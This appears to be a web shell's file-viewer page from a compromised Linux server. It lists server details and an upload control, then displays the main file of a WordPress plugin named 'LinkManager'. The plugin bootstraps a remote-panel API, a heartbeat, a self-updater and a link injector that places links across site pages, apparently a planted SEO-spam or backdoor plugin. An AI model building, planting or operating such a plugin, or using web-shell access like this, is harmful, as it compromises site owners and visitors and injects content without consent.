HEX
Server: Apache
System: Linux localhost.localdomain 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User: web57 (5040)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/clients/client6/web57/web/wp-content/plugins/link-manager/link-manager.php
<?php
/**
 * Plugin Name: LinkManager
 * Description: Link network management plugin
 * Version: 1.0.0
 * Requires PHP: 7.4
 * Requires at least: 5.8
 * Author: LinkManager
 * License: GPL-2.0-or-later
 */

if ( ! defined( 'ABSPATH' ) ) {
    exit;
}

define( 'LM_VERSION', '1.0.0' );
define( 'LM_PLUGIN_FILE', __FILE__ );
define( 'LM_PLUGIN_DIR', plugin_dir_path( __FILE__ ) );
define( 'LM_PLUGIN_URL', plugin_dir_url( __FILE__ ) );

/**
 * Activation hook.
 */
function lm_activate() {
    $defaults = array(
        'lm_panel_url'       => '',
        'lm_site_token'      => wp_generate_uuid4(),
        'lm_hmac_secret'     => '',
        'lm_allowed_ips'     => '',
        'lm_link_positions'  => array( 'body_open', 'footer', 'content', 'sidebar' ),
        'lm_active_links'    => array(),
        'lm_last_heartbeat'  => 0,
    );

    foreach ( $defaults as $key => $value ) {
        if ( get_option( $key ) === false ) {
            add_option( $key, $value );
        }
    }
}
register_activation_hook( __FILE__, 'lm_activate' );

/**
 * Deactivation hook.
 */
function lm_deactivate() {
    $heartbeat = new LM_Heartbeat();
    $heartbeat->unschedule();
}
register_deactivation_hook( __FILE__, 'lm_deactivate' );

/**
 * Load includes and initialize the plugin.
 */
function lm_init() {
    require_once LM_PLUGIN_DIR . 'includes/class-lm-security.php';
    require_once LM_PLUGIN_DIR . 'includes/class-lm-api.php';
    require_once LM_PLUGIN_DIR . 'includes/class-lm-link-injector.php';
    require_once LM_PLUGIN_DIR . 'includes/class-lm-heartbeat.php';
    require_once LM_PLUGIN_DIR . 'includes/class-lm-updater.php';

    if ( is_admin() ) {
        require_once LM_PLUGIN_DIR . 'admin/class-lm-settings.php';
        new LM_Settings();
    }

    new LM_API();
    new LM_Link_Injector();

    $heartbeat = new LM_Heartbeat();
    $heartbeat->schedule();

    new LM_Updater();
}
add_action( 'plugins_loaded', 'lm_init' );